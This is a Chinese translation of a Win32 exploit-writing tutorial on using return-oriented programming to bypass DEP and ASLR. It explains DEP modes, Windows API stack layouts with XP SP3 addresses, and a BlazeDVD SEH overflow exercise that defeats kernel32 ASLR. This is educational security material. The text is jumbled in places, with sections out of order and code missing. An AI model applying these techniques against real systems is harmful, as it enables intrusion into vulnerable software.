这个例子中,我们会用一个在BlazeDVDProfessional5.1的漏洞,在2009发现的
/exploits/9329/。你可以在这里下载一份有漏洞的程序:
:8800/?dl_id=40
Exploit-db上的样本代码指示SEH记录在608字节后被覆盖。我们已经知道在一个基于rop
的exploit中,nseh的4字节是不重要的,因此我们将打造一个有612字节的payload,然后
用一个会旋转回栈中的指针覆盖seh处理函数。
你可以运行“!pvefindaddrnoaslr”来列出所有不从属于ASLR的模块。你将大部分的/所有
的程序模块不是ASLR启用的。(当然,WindowsOS模块是ASLR启用的)。
在创建一个文件后(用“!pvefindaddrropnonull”),然后在SEH处设断之后(我们
能计算回到栈上可控制缓冲区的偏移量),我们可以得出结论,比如“ADDESP,408+RET4”
小配件(在0x616074AE处,从)是开始链的一种好方法。那会使我们登录到seh
链前的缓冲区。
注意:在覆盖SEH后避免放很多数据在栈上是很重要的。覆盖栈也会覆盖指针。你所
需要的是触发一个访问违例然后覆盖掉的SEH记录会生效,我们就可以控制EIP。
到目前为止,Exploit代码是这样的:
崩溃/异常被触发是因为我们已经覆盖了directRET(用在“废物”变量中的A)。(这意味着
你可能要为这个exploit打造一个directRET变体。无论如何,我们已经决定用SEH)。
当SEH处理函数被调用时,我们观察栈,“ADDESP,408”后的指令被执行,我们看到这
个:
1、在覆盖SEH前我们会登录到一连串A中。用Metasploit模式我们发现我们登录在缓冲区
的312个A后面。这意味着你的第一个小配件指针需要放在那个位置。如果你将用很多指
针,你可能要思考SEH指针放在缓冲区612字节处的事实
2、滚到栈视图窗口中。在缓冲区(用A+我们的SEH处理函数+B填充)后你应该看到栈上
的指针,指示“”:
这些事保存EIP的-通过早些时候调用的函数放在栈上。
如果你一直滚,你会找到一个指向kernel32的地址的指针:
目标是设置一个能拿到那个指针的rop链,然后加/减一个偏移量知道它指向VirtualProtect。
在栈上我们看到的指针,在0x0012FF8C处,是0x7664D0E9。在当前进程/环境,
在0x76600000处加载。
VirtualProtect()位于0x76601DC3处
这意味着VirtualProtect()函数能在[kernel32_baseaddress+0x1DC3]或者
[found_pointer-0x4B326字节]处找到。记住这个偏移量。
重启机器然后看这个指针是否在相同的位置,并且从栈上取出的指针到VirtualProtect()的偏
移量是否是一样的。
重启之后,在0x75590000。函数依然在dress偏移量+0x1DC3处:
在栈上,在0012FF8C处的指针时755DD0E9。如果我们减去偏移量(0x4B326字节),我们
在75591DC3处结束。这是VirtualProtect!这意味着我们已经找到了一个可靠的地方来获取
kernel32指针,找到一个获取VirtualProtect()的可靠偏移量。
我们怎样从栈上把这个值放入一个寄存器中,然后我们能用它来设置API调用?
好的,一个可能的方法是这样的:
●使一个寄存器指向栈地址(这个例子中是0x0012FF8C)。你如说你动态将值放入eax。
(0x6162A59E+0x61630804,+ADDEAX,xxx的链)
●用一个会做同样事情的小配件:moveax,[eax]+ret。这会取出kernel32指针然后放入
eax中。(这个指令的变种也可以成功,当然-例子:MOVEAX,DWORDPTRDS:[EAX+1C]-像
0x6160103B处的那个)
●从栈上取出的值减去0x4B326字节(基本上用静态偏移量...)并且你将用一种动态的方
法来获得指向VirtualProtect()函数的指针,在VistaSP2上,不管kernel32是ASLR启
用的事实。
注意:找栈上的返回指针不是很不寻常,因此这是一种绕过kernel32ASLR的好方法。
并且...这是给你的很好的练习。
祝你好运!
其他的关于DEP/内存保护绕过的文章:
Youcan'tstopus-CONFidence2010(AlexeySintsov)
BufferoverflowattacksbypassingDEPPart1(MarcoMastropaolo)
BufferoverflowattacksbypassingDEPPart2(MarcoMastropaolo)
PracticalRop(DinoDaiZovi)
BypassingBrowserMemoryProtections(AlexanderSotirov&MarkDown)
Return-OrientedProgramming(HovavShacham,ErikBuchanan,RyanRoemer,StefanSavage)
ExploitationwithWriteProcessMemory(SpencerPratt)
ExploitationtechniquesandmitigationsonWindows(skape)
BypassinghardwareenforcedDEP(skapeandskywing)
AlittlereturnorientedexploitationonWindowsx86-Part1(HarmonySecurity-StephenFewer)
AlittlereturnorientedexploitationonWindowsx86-Part2(HarmonySecurity-StephenFewer)
(un)SmashingtheStack(ShawnMoyer)(Paper)
/events/sec09/tech/slides/
BypassingDEPcasestudy(AudioConverter)(sud0)
Gentleintroductiontoreturn-oriented-programming
DEPindepth(SyscanSingapore-InsomniaSec)
可以在这里找到一些好的ROPexploit:
ProSSHD1.2remotepost-authexploit(/exploits/12495)
PHP6.0Devstr_transliterate()(/exploits/12189)
VUPlayerm3ubufferoverflow(/exploits/13756)
SygatePersonalFirewall5.6build2808ActiveXwithDEPbypass
(/exploits/13834)
Castripper2.50.70(.pls)stackbufferoverflowwithDEPbypass
(/exploits)
问题?
如果你有问题,请在我们的论坛中提出:
:8800//forum/exploit-writing-win32-bypass-stack-memory-protect
ions/
2024年11月6日发(作者:佼震轩)
Exploit
编写系列教程第十篇:用
ROP
束缚
DEP-
酷比魔方
译:看雪论坛
-dragonltx-2010-9-20
介绍
在我完成我前面的exploit相关教程之后三个月,我最终找了些时间和精力来开始写一篇新
的文章。
在前面的教程中,我已经解释了基于栈溢出的基础和怎样执行任意的代码。我讨论了direct
ret溢出,基于SEH的exploit,Unicode和其他的字符限制条件,运用调试器插件来加速exploit
的开发,怎样绕过常用的内存保护机制和怎样写你自己的shellcode。
然而第一个教程是写来引导人们学习exploit开发的基础,从乱写开始(主要是为了照顾那
些不懂exploit开发的人们),你很可能发现最近的教程大体上继续在这些基础上下功夫,并
且需要牢固的asm知识,创造力的思想,和一些exploit写作的经验。
今天的教材是不一样的。我将继续在我们已经在前面的教程中见过和学到的知识上更上一
步。这需要一些一些要求:
1、你需要掌握基于栈溢出的利用技术(directRET,SEH,等等)。我假设你已经具备了。
2、你需要一些asm知识。不要担心。即使你的知识只是能够明白特定指令的作用,你也将
可能读懂这篇教程。但是当你想自己打造自己的ropexploit/应用rop技术,当你需要完成一
个特定的任务时,你需要能够写asm/认出asm指令。总之,在某种程度上,你能够在写rop
链和写通用的shellcode之间进行比较,因此我猜你已经有了一定水准的asm编写水平。
3、你需要知道怎样用ImmunityDebugger。设置断点,单步执行,修改寄存器和栈上的值。
4、你需要知道栈是如何工作的,数据是怎样入栈的,出栈的,寄存器是怎样工作的并且怎
样使寄存器和栈之间互相影响。这是开始写ROP所必须的。
5、如果你没有掌握基于栈溢出利用的基础,那么这文章不适合你。我将试着解释并且尽可
能好的写出所有的步骤,但是为了避免以一篇很长的文章结束,我将会假设你知道基于栈溢
出的原理和利用方法。
在这系列的文章6中
:8800//2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-
cookies-safeseh-hw-dep-and-aslr/,我已经解释了一些技术来绕过内存保护系统。今天,我将
精心阐述这些保护机制中的一个,叫做DEP。(更确切地说,我将讨论硬件DEP(NX/XD)
和怎样绕过它)。在教程6中你可以读到,有2中主要的保护机制...首先,开发者能够利用
很多技术(安全编码,栈cookies,safeseh,等等)。大多数的编译器和链接器现在默认使用
这些特征(除了“安全编码”,这不是课程的一个特征),这是很不错的。很悲哀,还有相当
多数量的应用程序没有利用保护措施,依靠其他的保护机制。我想你会同意还有很多的开发
者没有将安全编码应用到他们的所有代码中。更重要的是(是事情更糟),一些开发者开始
依靠OS的保护机制(看下面),并且不关心安全编码。
这将我们带到保护的第二层,所有最近版本的Windows操作系统的一部分:ASLR(地址空
间布局随机化)和DEP(数据执行保护)。
ASLR将使栈,堆,模块基地址随机化,使它很难被“预测”(甚至硬编码)地址/内存位置,
因此,使黑客很难打造可靠的exploit。DEP(在这个教程里我指硬件DEP)将会基本上阻
止代码在栈上执行(这是所有前面教程所做的)。
ASLR和DEP的结合已经证明了在大多数情况下是有效的(但是,今天你将会学到的,在
特定环境下还是可以被绕过的)。
简言之,应用程序bug/缓冲区溢出不会自动魔幻地消失,将会不可能消失,并且编译器/链
接器不是一直对所有的模块都适用。这意味着ASLR和DEP是我们最后的防御层。ASLR
和DEP是所有最近OS的一部分,因此,很自然地可以看到攻击/绕过这两种保护机制已经
成为黑客和研究者的重要目标。
在教程里用来绕过DEP的技术不是最新的技术。它基于ret-to-libc的思想并且被烙上“ROP”
的印记,是“ReturnOrientedProgramming”的简称。
我已经在教程6中讨论了ret-to-libc的思想,实际上,在教程6中解释的
NtSetInformationProcess技术是ROP的一个例子。
在过去的几年/几月,用ROP绕过DEP的新技术已经写出来了。这个教程做的就是简单地
将所有的信息聚集起来并且解释他们是怎样用来在win32系统上绕过EDP的。
在看DEP是什么,怎样绕过它之前,有一件很重要的事要记住::
在所有的前面教程中,我们的shellcode(包括定位代码等等)是放在栈或者堆上,并且试着
用可靠的方法来跳到代码处并执行。
由于硬件DEP的使用,我们不能再栈上执行一条指令。你可以在栈上弹入并且弹出数据,
但是我们不能跳到栈中执行代码。在没有绕过/禁掉DEP时不行。
记住。
Win32
世界中的硬件
DEP
硬件DEP利用了在DEP兼容的CPU的NX(“无执行页保护”,AMD规格)或者XD(“不
能执行”,intel规格)位,并且将特定部分的内存(只能包含数据,比如说默认堆,栈,内
存池)标记为不可执行。
当尝试在一个DEP保护的数据页执行代码时,将会发生访问拒绝
(STATUS_ACCESS_VIOLATION(0xc0000005))。在大部分情况下,这会导致进程结束(没
有处理的异常)。事实上,当一个开发者决定他想允许代码在一个特定的内存页中运行,他
将不得不分配内存然后标记为可执行。
在WindowsXPSP2和WindowsServer2003SP1引入了硬件DEP的支持,并且是这两种版
本之后的所有Windows操作系统的一部分。
DEP作用在每个虚拟内存页面并且会改变PTE(页表入口点)上的一位来标记页面。
为了使OS用这个特征,处理器必须运行在PAE模式(物理地址扩展)。幸运地,Windows
默认开启PAE。(64位的系统是知道“AddressWindowingExtensions”(AWE),因此也不需
要在64位上有一个分离的PAE内核)。
DEP在Windows操作系统中表现的方式是基于一个能够配置成下列值中的一个的环境:
●OptIn:只有有限的一些windows系统模块/二进制程序是受DEP保护的。
●OptOut:所有在Windows系统上的程序,进程,服务都是受保护的,除了在例外列表中的
进程。
●AlwaysOn:所有在Windows系统上的程序,进程,服务都是受保护的。没有例外。
●AlwaysOff:DEP被关掉。
除了这四个模式之外,MS实现了一种叫做“永久的DEP”机制,用SetProcessDEPPolicy
(PROCESS_DEP_ENABLE)来确保进程是启用DEP的。在Vista(并且之后的)上,这个“永
久”的标记是自动对所有的可执行文件(用/NXCOMPAT选项)设置的。当标记被设置,那么
改变DEP策略可能只能用SetProcessDEPPolicy技术(看后面)。
你可以在/en-us/library/bb736299(VS.85).aspx和
/b/michael_howard/archive/2008/01/29/new-nx-apis-added-to-
找到更多有关
SetProcessDEPPolicy的信息。
对不同版本的Windows操作系统的默认设置是:
●WindowsXPSP2,XPSP3,VistaSP0:OptIn(XPSP3也有永久的DEP)
●WindowsVistaSP1:OptIn+AlwaysOn(+永久的DEP)
●Windows7:OptOut+AlwaysOn(永久的DEP)
●WindowsServer2003SP1和更高的:OptOut
●WindowsServer2008和更高的:OptOut+AlwaysOn(+永久的DEP)
在XP和2003server上,DEP行为可以通过的参数来改变。只要简单地在这行的
末尾加上下面的参数(引用你的OS启动配置):
/noexecute=policy
(这里“policy”可以是OptIn,OptOut,AlwaysOn或者AlwaysOff)
在Vista/Windows2008/Windows7,你能用bcdedit命令来改变设置:
/setnxOptIn
/setnxOptOut
/setnxAlwaysOn
/setnxAlwaysOff
你可以通过运行“bcdedit”来得到目前的状态然后看下nx的值
一些关于硬件DEP的链接:
●/kb/875352
●/wiki/Data_Execution_Prevention
●/en-us/library/aa366553(VS.85).aspx
绕过DEP--构建模块
正如在介绍中陈述的,当硬件DEP启用时,你不能只是跳到你的在栈上的shellcode,因为
它不会执行。相反,它将会触发一个访问违例并且很可能会结束进程。
在那个的顶部,每个特殊的DEP设置(OptIn,OptOut,AlwaysOn,AlwaysOff)和永久的DEP
的影响(或者缺席)将需要一个特殊的方法和技术。
因此,我们的选择是什么?
好的,由于我们不能在栈上执行我们自己的代码,我们唯一能做的事是从已经加载的模块中
执行现有的指令/调用现有的函数,然后用栈上的数据作为这些函数/指令的参数。
这些现有的函数会提供给我们这些选择
●执行命令(举个例子,WinExec-典型的“ret-to-libc)
●将包含你的shellcode的页面(例如栈)标记为可执行(如果可以通过主动的DEP策略来
使它运行执行)然后跳到那里
●将数据拷贝到可执行区域然后跳到那里(我们可能要分配内存然后首先将那个区域标记为
可执行)
●在运行shellcode之前改变当前进程的DEP设置
当前的主动的DEP策略和设置将几乎支配你不得不在某些情况下用来绕过DEP的技术。
一个需要一直有效的技术是典型的“ret-to-libc”。你需要能够执行简单的命令,用现有的
WindowsAPI调用(如WinExec),但是用这个很难精巧地制作“真正的”shellcode。
因此我们要看得远点。我们真的需要绕过/推翻/改变DEP设置然后使我们的自定义
shellcode运行。幸运地,标记页面可执行/改变DEP策略设置/等等都能通过WindowsOS
的nativeAPI/函数调用。
因此,这很简单吧?
是也不是。
当我们要绕过DEP,我们要调用一个WindowsAPI(我将会在后面更进一步描述这些Windows
API的细节)。
那个API的参数必须在寄存器或者栈中。为了将这些参数放在它们应该在的地方,我们很可
能要写一些自定义代码。
想想。
如果给定的API函数的一个参数比如是shellcode的地址,那么你不得不动态产生/计算这
个地址,然后将它放在栈上的正确位置。你不能硬编码,因为这将会不可靠(或者,如果缓
冲区不能处理null字节并且其中的一个参数需要null字节,那么你就不能再你的缓冲区里
硬编码那个值)。用一些短小的shellcode来产生值也不能成功,因为...DEP启用。
问题:我们如何得到栈上的这些参数
回答:用自定义代码
在栈上的自定义代码,无论如何,是不能执行的,DEP会阻止那个发生。
不相信我?那我们来试下在教程1里的那个老而好的EasyRMtoMP3Convertorexploit。
没有DEP(OptIn)
有DEP(OptOut)
或者,在调试器中可以看到的(启用DEP-OptOut),就在shellcode的第一条指令将要执行
(就在jumpesp的后面):Movie
相信我。甚至是一个简单的NOP指令也不会执行。
小配件
无论如何,回到我们的“自定义代码”问题上。因此如果在栈上运行代码不成功,我们不得
不用ROP。
为了运行我们的自定义代码和最终执行WindowsAPI函数调用,我们将需要用现有的指令
(进程里的可执行区域的指令),并且将它们按顺序放在一起(并且将它们链在一起),因此
它们将会产生我们所需要的然后将数据放入寄存器中或者栈上。
我们需要打造一连串指令。我们需要从链的一部分跳转到链的其他部分在没有从DEP保护
的区域里执行一条简单的指令。或者,用一种更好的术语,我们需要从一条指令返回到下一
条指令的地址(最终返回到WindowsAPI调用当栈已经被设置了)。
在我们的ROP链中的每一条指令(一系列的指令)将会被叫做一个“小配件”。每个小配件
将会返回到下一个小配件(=到下一个小配件的地址,在栈上),或者直接调用下一个地址。
那样,指令序列被链在一起。
在他的原始文章中,HovavShacham用术语“小配件”当涉及到高级别的宏/代码片
段。时下,术语“小配件”通常用来指一系列的以ret结尾的指令(实际上只是原始“gadget”
定义的一个子集)。理解这微妙的东西很重要,但是同时我确信你会原谅我当我在这篇教程
里用“gadget”来指以些以ret结尾的指令集合。
在你打造基于ROP的exploit的同时,你会发现用这些小配件来打造你的栈和调用API的思
想有时能和解决酷比魔方相提并论(感谢Lincoln的伟大比较)。当你试着在栈上设置一个
特定的寄存器或者值,你可能以改变其他的一个而结束。
因此没有通用的方法来打造一个ROPexploit,然后有时你会发现它有点让人沮丧。但是我
能向你保证毅力和坚持不懈会有回报的。
这是理论。
调用Windows函数绕过DEP
首先,在你开始写exploit之前,你需要决定你的方法是什么。在当前OS/DEP策略下,你
能用来绕过DEP的可利用的/可能的WindowsAPI是什么?一旦你已经决定了,你可以相应
地思考设置你的栈。
这些是最重要的函数能够帮你绕过/停用DEP:
●VirtualAlloc(MEM_COMMIT+PAGE_READWRITE_EXECUTE)+复制内存。这会允许你创建一个
新的可执行内存区域,将你的shellcode复制到这里,然后执行。这技术要求你将这2个
API互相链在一起。
●HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)+HeapAlloc()+复制内存。大体上,这函数
提供了一种和VirtualAlloc()相似的技术,但是需要将3个API互相链在一起。
●SetProcessDEPPolicy()。这允许你改变当前进程的DEP策略(因此你能从栈上执行你的
shellcode)(VistaSP1,XPSP3,Server2008,并且只在DEP策略设成OptIn或者OptOut)
●NtSetInformationProcess()。这个函数会改变当前进程的DEP策略,因此你能从栈上执
行你的shellcode。
●VirtualProtect(PAGE_READ_WRITE_EXECUTE)。这个函数会改变一个给定内存页的访问保
护级别,允许你将shellcode在的地方标记为可执行。
●WriteProcessMemory()。这个将允许你将shellcode复制到另一个(可执行)位置,因此
你能跳到那里并且执行shellcode。目标位置必须是可写和可执行的。
这些函数中的每一个都要求栈或者寄存器按一种特定的方法设置。毕竟,当一个函数被调用,
它会假设函数的参数被放在栈顶(=在ESP)。这意味着你的首要目标是在栈上精巧地制作这
些值。用一种通用的和可靠的方法,没有在栈上执行任何代码。
最后(在设置完栈后),你将很可能停止调用这个API。为了使调用成功,ESP必须指向API
函数的参数。
因为我们将会用小配件(一系列指令的指针),被放在栈上的你的payload/缓冲区的一部分,
并且因为我们一直很可能在构建完你的整个rop链来配置参数后返回到栈上,你的最终结果
很可能是这样的:
在函数被调用之前,ESP指向WindowsAPI函数指针。这个指针直接跟着函数需要的参数。
那时,一个简单的“RET”指令将会跳到那个地址。这会调用函数并且是ESP移动4字节。
如果一切顺利的话,栈顶(ESP)指向被调用函数的参数。
选择你的武器
(1)=不存在
(2)=将会失败因为默认的DEP策略设置
不要担心怎么应用这些技术,一会儿事情将会变明白。
函数参数&用法提示
正如早些时候陈述的那样,当你想用这些可用的WindowsAPI中的一个,你首先要用正确的
参数为那个函数设置栈。接下来的是这些函数的总结,它们的参数,和一些用法提示。
VirtualAlloc()
这个函数将会分配新的内存。这个函数的一个参数指定了最近分配的内存的可执行/访问级
别,因此我们的目标是将这个值设成EXECUTE_READWRITE。
/en-us/library/aa366887(VS.85).aspx
这个函数需要你设置栈包含下面的值:
返回值
lpAddress
dwSize
flAllocationType
flProtect
函数返回地址(=在它完成后函数需要返回的地址)。我将在一会儿讨论
这个值
要分配区域的起始地址(=你想要分配内存的新位置)。记住这个地址会
在最近倍数的内存粒度传开。你可以试着为这个参数提供一个硬编码值
区域的大小。(你将可能需要用rop来产生这个值,除非你的exploit能
处理null字节)
设成0x1000(MEM_COMMIT)。可能需要rop在栈上产生&写这个值
设成0x40(EXECUTE_READWRITE)。可能需要rop在栈上产生&写
这个值
在XPSP3,这个函数在0x7C809AF1处()
当VirtualAlloc()调用成功,分配的内存地址会被保存在eax中。
注意:这个函数只分配新的内存。你要用另一个API调用来复制shellcode到新的区域并执
行它。因此,你需要另一个rop链来完成这个。(在上面的表格中,我提到返回地址参数需
要指向第二个rop链。因此,VirtualAlloc()的返回地址需要指向将shellcode复制到新分配区
域并跳转到那里的rop链)
为了完成这个,你能用
●memcpy()()-在XPSP3上0x7C901DB3
●WriteProcessMemory()(看后面)
举个例子,如果你要用memcpy(),然后你可以同时hookVirtualAllocate()和memcpy()调
用并且使它们直接互相执行,用下面的设置:
首先,VirtualAlloc()函数的指针必须在栈顶,之后在栈上跟着参数的值:
●memcpy的指针(VirtualAlloc()的返回地址地段)。当VirtualAlloc停止后,它会返回
这个地址
●lpAddress:任意的地址(分配新内存的地址,比如0x0020000)
●大小(新分配的内存的大小)
●flAllocationType(0x1000:MEM_COMMIT)
●flProtect(0x40:PAGE_EXECUTE_READWRITE)
●任意地址(和lpAddress一样的地址,这个参数将会用在memcpy()返回后跳转到
shellcode)。这个字段是memcpy()函数的第一个参数
●任意地址(一样,和lpAddress一样的地址。这个参数用来作为memcpy()的目的地址)。
这个字段是memcpy()函数的第二个参数
●shellcode的地址(=memcpy()的源参数)。这个是memcpy()的第三个参数
●大小:memcpy()的大小参数。这是memcpy()的最后一个参数
很明显,关键是找到一个可靠的地址(分配内存的地址)和在栈上用rop产生所有的参数。
当这个链结束后,你将会以执行被拷贝到最近分配的内存中的代码而告终。
HeapCreate()
/en-us/library/aa366599(VS.85).aspx
这个函数将会创建一个能在我们的exploit中用的私有堆。空间将会被保留在进程的虚拟地
址空间。
当flOptions参数被设置成0x00040000(HEAP_CREATE_ENABLE_EXECUTE),然后所有从
这个堆里分配的内存块将会允许执行代码,尽管DEP已经开启。
dwInitialSize参数必须包含一个指示堆大小的值,用字节表示。如果你设置这个参数为0,
然后将会分配一个页。
dwMaximumSize参数指堆的最大大小,用字节表示。
这个函数只能创建一个私有堆并将它标记为可执行。你依然要在这个堆里分配内存(如用
HeapAlloc)然后将shellcode拷贝到那个堆位置(如用memcpy())。
当CreateHeap函数返回时,一个指向最新创建的堆指针会存在eax中。你需要这个值来调
用HeapAlloc():
/en-us/library/aa366597(v=VS.85).aspx
当新的堆分配完之后,你可以用memcpy()来将shellcode拷贝到已分配的堆中并且执行。
在XPSP3中,HeapCreate在0x7C812C56处。HeapAlloc()在7C8090F6。二者都是
的一部分。
SetProcessDEPPolicy()
/en-us/library/bb736299(VS.85).aspx
适用在:WindowsXPSP3,VistaSP1和Windows2008。
为了能使这个函数有效,当前的DEP策略必须设成OptIn或者OptOut。如果策略被设成
AlwaysOn(或者AlwaysOff),然后SetProcessDEPPolicy将会抛出一个错误。如果一个模块
是以/NXCOMPAT链接的,这个技术也将不会成功。最后,同等重要的是,它这能被进程调
用一次。因此如果这个函数已经被当前进程调用(如IE8,当程序开始时已经调用它),它
将不成功。
BernardoDamele写了一篇出色的关于这个话题的博文:
/2009/12/
这个函数需要一个参数,并且这个参数必须设置为0来停用当前进程的DEP。
为了在ROP链中用这个函数,你需要在栈上这样设置:
●指向SetProcessDEPPolicy的指针
●指向shellcode的指针
●0
指向shellcode的指针会确认当SetProcessDEPPolicy()执行完ROP链会跳到shellcode。
在XPSP3下SetProcessDEPPolicy的地址是7C8622A4()
NtSetInformationProcess()
适用于:WindowsXP,VistaSP0,Windows2003
Skape和skywing的技术文档:/?v=2&a=4
用这个函数需要在栈上有5个参数:
返回值
NtCurrentProcess()
ProcessExecuteFlags
&ExecuteFlags
sizeOf(ExecuteFlags)
要产生的值,指示了函数需要返回的地方(=shellcode在的地方)
静态值,设成0xFFFFFFFF
静态值,设成0x22
指向0x2(值可以是静态的,也可能是动态的)。这个地址必须指向
包含0x00000002的内存位置
静态值,设成0x4
如果永久DEP标志已经标记,那么NtSetInformationProcess将会失败。在Vista(然后更
后面的),这个标志会对所有的以/NXCOMPAT链接选项链接的可执行文件自动设置。如果DEP
策略模式设成AlwaysOn,这个技术也会失败。
或者,你也可以用ntdll中的现有例程(基本上,会做一样的事,并且会为你自动将参数设
置)。
在XPSP3,NtSetInformationProcess()在7C90DC9E()
正如早些时候提到的,我已经在教程6中解释了一种用这种技术的可行方法,但是我会在今
天的教程中用另一种方法用这个函数。
VirtualProtect()
/en-us/library/aa366898(VS.85).aspx
VirtualProtect函数改变调用进程的内存保护访问级别。
如果你想用这个函数,你将要在栈上放5个参数:
返回值
lpAddress
dwsize
flNewProtect
指向VirtualProtect()需要返回的地方。这个将会是你的shellcode在栈上的地
址(动态创建的值)
指向需要改变访问保护属性的页区域的基地址。基本上,这会是shellcode
在栈上的基地址(动态创建的值)
字节数(动态创建的值,使整个shellcode执行。如果shellcode由于某些原
因要扩展(比如解码),那么这些额外的字节必须考虑进来。
指定新的保护选项:0x00000040:PAGE_EXECUTE_READWRITE。如果你
的shellcode不会修改自身(如解码器),那么只要0x00000020
(PAGE_EXECUTE_READ)也能成功
获得先前访问保护值的指针变量lpflOldProtect
注意:VirtualProctect()能用的内存保护常数可以在这里找到
/en-us/library/aa366786(v=VS.85).aspx
在XPSP3,VirtualProtect()在0x7C801AD4()
WriteProcessMemory()
/en-us/library/ms681674(VS.85).aspx
SpencerPratt的技术文档:
/papers/general/
这个函数会允许你复制你的shellcode到另一个(可执行)你能跳到的&可执行的位置。在复
制过程中,WPM()会确认目的位置是标记为可写的。你只需要确认目的位置是可执行的。
返回地址
hProcess
lpBaseAddresss
lpBuffer
nSize
lpNumberOfBytesWritten
在它完成后WriteProcessMemory()要返回到的地址
当前进程的句柄。-1指向当前进程(静态值0xFFFFFFFF)
指向你的shellcode需要写入的位置。“返回地址”和
“lpBaseAddress”一样。
你的shellcode的基地址(动态产生,栈上的地址)
你需要拷贝到目的位置的字节数目
可写位置,字节数将会被写入的位置
在XPSP3,WriteProcessMemory()在0x7C802213()
WriteProcessMemory()(缩写成WPM()从这里开始)的一个很好的东西是你能用2中来绕过
DEP。
*WPM技术1:完整的WPM()调用
你可以将你的shellcode复制/写到一个可执行位置然后跳到那里。这个技术需要所有的
WPM()参数都要正确设置。一个可能的在XPSP3中的例子是给打补丁(被很多
应用程序加载)。很可能不会在你的shellcode中要到,因此搞坏它是可以接受的。
如果是RE,这.text节从0x77121000并且是7F0000字节长。
这种方法有个问题。由于你要写入一个R+E区域,shellcode不能修改自己。
(WriteProcessMemory调用会暂时将位置标记为可读,但是又去掉这个级别)这意味着,
如果你用编码的shellcode(或者会修改自身的shellcode),将不会成功。由于坏字节这也
是一个问题等等。
当然,你可以试着预先考虑在真正的shellcode里面包含一些小的shellcode来使自己的位
置标记为可读,比如这些小的shellcode会用VirtualProtect()。你可以在“Egghunter”
那节中找到怎么做的例子。
我们需要2个地址:一个用来作为返回地址/目的地址,一个会被用作可写位置(要写入字
节数目写入的地方)。因此一个很好的例子是这样的:
返回地址
hProcess
lpBaseAddress
0x77121010
0xFFFFFFFF
0x77121010
lpBuffer
nSize
lpNumberOfBytesWritten
要产生的
要产生的
0x77121004
(lpNumberOfBytesWritten在目的位置之前,来避免它会在shellcode复制到目的位置后
破坏shellcode)
如果你想用有解码器的shellcode,你要预先考虑在你的shellcode里调用VirtualProtect,
在运行编码后的shellcode之前,来使当前的区域标记为可写/可执行的(取决于你是否写
入一个RE或者RW区域)...
*WPM技术2:给WPM自身打补丁
或者,你也可以给WPM自身打补丁。因此你要将shellcode写入,覆盖掉WPM
函数的一部分。这可以用编码后的shellcode来解决这个问题(但是它会有一个大小限制,
你会在一会儿看到)
在XPSP3下,WPM函数在0x7C802213
在WPM函数里面,一系列的调用和跳转被用来将栈上的数据(shellcode)复制到目的位置:
●0x7C802222:调用ectVirtualMemory():这个函数调用会确认使目标位置
变成可读的
●0x7C802271:调用eVirtualMemory()
●0x7C80228B:调用hInstructionCache()
●0x7C8022C9:调用eVirtualMemory()
在最后一个函数调用之后,数据将会被拷贝到目的位置。
然后,当自身拷贝完,函数将会写入要写的字节数并且返回被指定为一个参数的地址。最后
的例程从7C8022CF开始(就在最后一个调用WriteVirtualMemory()后)
因此我们的第二选择是将shellcode写入代码的顶部,会写入字节数并返回给调用者。我们
不必等代码写完这些字节并返回,因为我们要做的是让shellcode执行。
同时(你可以在下面的反汇编中看到),当WPM函数完成复制进程,它返回到0x7C8022CF。
因此那可以是一个用做目的地址的好位置,因为它在程序的自然流中并且会自动执行。
这会有一些后果:
参数
:第一个(返回地址)和最后一个参数(指向lpNumberofBytesWritten的可读地址)是
不重要的。比如你可以将返回地址设成0xFFFFFFFF。虽然SpencerPratt在这篇文章里
/papers/general/说过
lpNumberOfBytesWritten可以设成任意值(如果你愿意的话设成0xDEADBEEF),似乎这个
地址需要指向一个可读位置来使它有效。除了这个,目的地址(shellcode要写入的地方)指
向WPM函数自身里面。在XPSP3中,这会是0x7C8022CF。
大小
:热补丁WPM函数看起来很不错,如果我们写得太远的话但是会破坏。
对shellcode自身很重要。很可能你的shellcode将要用中的函数。
如果你破坏了的结构,你的shellcode可能不在运行。因此这个技术在你的
shellcode大小是有限的情况下会成功。
栈布局例子/函数参数:
返回地址
hProcess
lpBaseAddress
lpBuffer
nSize
lpNumberOfBytesWritten
0xFFFFFFFF
0xFFFFFFFF
0x7C8022CF
要产生的
要产生的
用一个(任意的)可写位置,可以是静态的
ROPExploit
的可移植性
当你开始打造ROPexploit时,你很可能在你的exploit里以硬编码函数指针结束。然而,有
很多方法可以避免这么,如果你不得不硬编码指针,你应该知道你的exploit不会在Windows
操作系统的其他版本中利用成功。
因此,如果你已经硬编码了指向windows函数的指针,那么也可以从OSdll中用小配件。
只要我们不需要处理ASLR,一切都是行的。
试着打造一个通用的exploit是不错的,但是说实话-如果你没从OSdll中硬编码任何东西,
你需要避免OSdll的东西。
不管怎样,查实你要用来绕过DEP的函数(如果程序用了),看你能不能用一个程序/模块
指针调用那个函数。这样的话,你依然可以使exploit通用,不用产生函数地址,不用从OS
dll中硬编码地址。
一种可行的方式是你在IDA里看是否能够用一个在程序里面的或者被程序加载的dll
API调用,然后看导入表
例子:在XPSP3中的
●7C37A08C:HeapCreate()
●7C37A07C:HeapAlloc()
●7C37A094:VirtualAlloc()
●7C37A140:VirtualProtect()
注意:检验“!pvefindaddrropcall”,在pvefindaddrv1.34版本
:8800/projects/pvefindaddr和更高的版本中
从EIP到ROP
为了使事情明白点,我们还是从基础开始吧。
不管DEP启用与否,溢出一个缓冲区的最初过程和最终获得EIP的控制权是一样的。因此你
直接覆盖EIP,或者你可以尝试覆盖SEH记录然后触发一个访问违例,因此覆盖的SE处理
函数地址会被调用。(还有其他的方法来获得EIP的控制权,但是这超出了文章的范围)
到目前为止,DEP跟这个一点也关系。
DirectRet
在一个典型的directRETexploit中,你可以用一个任意值直接覆盖掉EIP(或者,更精
确点,当函数结尾--用一个覆盖掉的保存EIP--被触发时,EIP被覆盖掉。当这个发生时,
你很可能看到你控制了ESP指向的位置的内存数据。因此如果不是DEP,你可以用你最喜欢
的工具(!pvefindaddrjesp)来定位一个指针到“jumpesp”然后跳到你的shellcode中。
游戏结束。
当DEP被启用时,我们不能那样做。不是跳到ESP(用一个会跳到esp的指针覆盖掉EIP),
我们不得不调用第一个ROP小配件(也可以直接在EIP中或者使EIP跳到ESP)。那个小配
件必须按特定的方式设置,因此它们会形成一条链然后一个小配件返回到另一个小配件中,
没有直接在栈中执行代码。
怎样才能打造一个ROPexploit将会在后面讨论。
基于SEH
在一个基于SEH的exploit中,东西是不一样的。你只能在被覆盖的SE处理函数被调用时
